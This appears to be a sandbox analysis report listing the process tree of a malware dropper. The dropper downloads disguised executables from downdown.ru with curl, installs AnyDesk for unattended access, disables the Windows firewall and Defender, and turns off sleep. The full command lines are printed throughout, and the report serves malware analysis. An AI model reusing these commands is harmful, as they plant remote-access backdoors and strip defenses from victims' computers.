Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd ping -n 6 127.0.0.1
Imagebase:	0xd10000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:18:01
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70a170000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:18:01
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg
Imagebase:	0x7ff64a480000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:18:01
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70a170000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:18:01
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg
Imagebase:	0xd10000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:18:01
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70a170000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:18:01
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg
Imagebase:	0xd10000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:18:01
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70a170000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	10:18:01
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg
Imagebase:	0xd10000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	10:18:01
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70a170000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:18:01
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg
Imagebase:	0xd10000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	10:18:01
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70a170000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	10:18:02
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg
Imagebase:	0xd10000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	10:18:02
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70a170000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	10:18:02
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y
Imagebase:	0xd10000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	10:18:02
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70a170000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	10:18:02
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd start C:\Intel\Trays\Trays.lnk
Imagebase:	0xd10000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	10:18:02
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70a170000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	10:18:02
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd svchost.exe --install C:\Intel\AnyDesk
Imagebase:	0xd10000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	10:18:02
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70a170000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	10:18:02
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd netsh advfirewall set allprofiles state off
Imagebase:	0xd10000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	10:18:02
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70a170000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	10:18:02
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd sc stop WinDefend
Imagebase:	0xd10000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	10:18:02
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70a170000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	10:18:02
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg
Imagebase:	0xd10000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	10:18:02
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70a170000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	10:18:02
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\AnyDesk\bat.lnk
Imagebase:	0xd10000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	10:18:02
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70a170000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	10:18:02
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Intel\rezet.cmd" "
Imagebase:	0xd10000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	10:18:03
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70a170000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	10:18:03
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping -n 6 127.0.0.1
Imagebase:	0x4f0000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	10:18:08
Start date:	08/01/2025
Path:	C:\Intel\curl.exe
Wow64 process (32bit):	true
Commandline:	C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg
Imagebase:	0x970000
File size:	1'793'024 bytes
MD5 hash:	9542F4AC0CAEFA766BD67BA879ED2DD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	10:18:11
Start date:	08/01/2025
Path:	C:\Intel\curl.exe
Wow64 process (32bit):	true
Commandline:	C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg
Imagebase:	0x970000
File size:	1'793'024 bytes
MD5 hash:	9542F4AC0CAEFA766BD67BA879ED2DD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	10:18:13
Start date:	08/01/2025
Path:	C:\Intel\curl.exe
Wow64 process (32bit):	true
Commandline:	C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg
Imagebase:	0x970000
File size:	1'793'024 bytes
MD5 hash:	9542F4AC0CAEFA766BD67BA879ED2DD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	10:18:16
Start date:	08/01/2025
Path:	C:\Intel\curl.exe
Wow64 process (32bit):	true
Commandline:	C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg
Imagebase:	0x970000
File size:	1'793'024 bytes
MD5 hash:	9542F4AC0CAEFA766BD67BA879ED2DD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	10:18:19
Start date:	08/01/2025
Path:	C:\Intel\curl.exe
Wow64 process (32bit):	true
Commandline:	C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg
Imagebase:	0x970000
File size:	1'793'024 bytes
MD5 hash:	9542F4AC0CAEFA766BD67BA879ED2DD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	10:18:19
Start date:	08/01/2025
Path:	C:\Intel\curl.exe
Wow64 process (32bit):	true
Commandline:	C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg
Imagebase:	0x970000
File size:	1'793'024 bytes
MD5 hash:	9542F4AC0CAEFA766BD67BA879ED2DD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	10:18:22
Start date:	08/01/2025
Path:	C:\Intel\driver.exe
Wow64 process (32bit):	true
Commandline:	C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y
Imagebase:	0x400000
File size:	300'032 bytes
MD5 hash:	29086D9247FDF40452563C11B3DCA394
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	10:18:23
Start date:	08/01/2025
Path:	C:\Intel\Trays\Trays.exe
Wow64 process (32bit):	true
Commandline:	"C:\Intel\Trays\Trays.exe" -tray
Imagebase:	0x400000
File size:	2'019'840 bytes
MD5 hash:	90D208B856DEA18596D57FFB1DD3A867
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 4%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	10:18:23
Start date:	08/01/2025
Path:	C:\Intel\svchost.exe
Wow64 process (32bit):	true
Commandline:	svchost.exe --install C:\Intel\AnyDesk
Imagebase:	0x400000
File size:	5'331'456 bytes
MD5 hash:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 100%, Avira Detection: 50%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	10:18:24
Start date:	08/01/2025
Path:	C:\Intel\Trays\4t-min64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Intel\Trays\4t-min64.exe" "C:\Intel\Trays\ShellEh6055x64.dll"
Imagebase:	0x400000
File size:	275'968 bytes
MD5 hash:	7BC3AEEDC18717D796F1C7FF8DBF0C17
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	10:18:24
Start date:	08/01/2025
Path:	C:\Intel\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Intel\svchost.exe" --local-service
Imagebase:	0x400000
File size:	5'331'456 bytes
MD5 hash:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	10:18:24
Start date:	08/01/2025
Path:	C:\Intel\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Intel\svchost.exe" --local-control
Imagebase:	0x400000
File size:	5'331'456 bytes
MD5 hash:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	10:18:28
Start date:	08/01/2025
Path:	C:\Intel\AnyDesk\AnyDesk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Intel\AnyDesk\AnyDesk.exe" --service
Imagebase:	0x400000
File size:	5'331'456 bytes
MD5 hash:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 50%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	10:18:30
Start date:	08/01/2025
Path:	C:\Intel\AnyDesk\AnyDesk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Intel\AnyDesk\AnyDesk.exe" --control
Imagebase:	0x400000
File size:	5'331'456 bytes
MD5 hash:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	10:18:30
Start date:	08/01/2025
Path:	C:\Intel\AnyDesk\AnyDesk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Intel\AnyDesk\AnyDesk.exe" --new-install
Imagebase:	0x400000
File size:	5'331'456 bytes
MD5 hash:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	10:18:31
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall set allprofiles state off
Imagebase:	0x810000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	10:18:32
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc stop WinDefend
Imagebase:	0xa40000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	10:18:32
Start date:	08/01/2025
Path:	C:\Intel\curl.exe
Wow64 process (32bit):	true
Commandline:	C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg
Imagebase:	0x970000
File size:	1'793'024 bytes
MD5 hash:	9542F4AC0CAEFA766BD67BA879ED2DD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	10:18:32
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Intel\AnyDesk\bat.bat" "
Imagebase:	0xd10000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	57
Start time:	10:18:32
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo QWERTY1234566 "
Imagebase:	0xd10000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	10:18:33
Start date:	08/01/2025
Path:	C:\Intel\AnyDesk\AnyDesk.exe
Wow64 process (32bit):	true
Commandline:	AnyDesk.exe --set-password _unattended_access
Imagebase:	0x400000
File size:	5'331'456 bytes
MD5 hash:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	10:18:33
Start date:	08/01/2025
Path:	C:\Intel\AnyDesk\AnyDesk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Intel\AnyDesk\AnyDesk.exe" --crash-handler
Imagebase:	0x400000
File size:	5'331'456 bytes
MD5 hash:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Has exited:	false

Show Windows behavior

Target ID:	60
Start time:	10:18:35
Start date:	08/01/2025
Path:	C:\Intel\dc.exe
Wow64 process (32bit):	true
Commandline:	C:\Intel\dc.exe /D
Imagebase:	0x400000
File size:	831'888 bytes
MD5 hash:	139464919440E93E49C80CC890B90585
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 50%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	10:18:36
Start date:	08/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
Imagebase:	0x7ff64a480000
File size:	57'360 bytes
MD5 hash:	F586835082F632DC8D9404D83BC16316
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	10:18:36
Start date:	08/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc
Imagebase:	0x7ff64a480000
File size:	57'360 bytes
MD5 hash:	F586835082F632DC8D9404D83BC16316
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	10:18:36
Start date:	08/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
Imagebase:	0x7ff64a480000
File size:	57'360 bytes
MD5 hash:	F586835082F632DC8D9404D83BC16316
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	64
Start time:	10:18:36
Start date:	08/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
Imagebase:	0x7ff64a480000
File size:	57'360 bytes
MD5 hash:	F586835082F632DC8D9404D83BC16316
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	65
Start time:	10:18:36
Start date:	08/01/2025
Path:	C:\Intel\dc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Intel\dc.exe" /SYS 1
Imagebase:	0x400000
File size:	831'888 bytes
MD5 hash:	139464919440E93E49C80CC890B90585
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	10:18:37
Start date:	08/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc
Imagebase:	0x7ff64a480000
File size:	57'360 bytes
MD5 hash:	F586835082F632DC8D9404D83BC16316
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	10:18:38
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\powercfg.exe
Wow64 process (32bit):	true
Commandline:	powercfg -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0
Imagebase:	0xd70000
File size:	78'336 bytes
MD5 hash:	9D71DBDD3AD017EC69554ACF9CAADD05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	10:18:38
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\powercfg.exe
Wow64 process (32bit):	true
Commandline:	powercfg -change -standby-timeout-ac 0
Imagebase:	0xd70000
File size:	78'336 bytes
MD5 hash:	9D71DBDD3AD017EC69554ACF9CAADD05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	10:18:39
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\powercfg.exe
Wow64 process (32bit):	true
Commandline:	powercfg -change -hibernate-timeout-ac 0
Imagebase:	0xd70000
File size:	78'336 bytes
MD5 hash:	9D71DBDD3AD017EC69554ACF9CAADD05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	10:18:39
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\powercfg.exe
Wow64 process (32bit):	true
Commandline:	powercfg -h off
Imagebase:	0xd70000
File size:	78'336 bytes
MD5 hash:	9D71DBDD3AD017EC69554ACF9CAADD05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	10:18:39
Start date:	08/01/2025
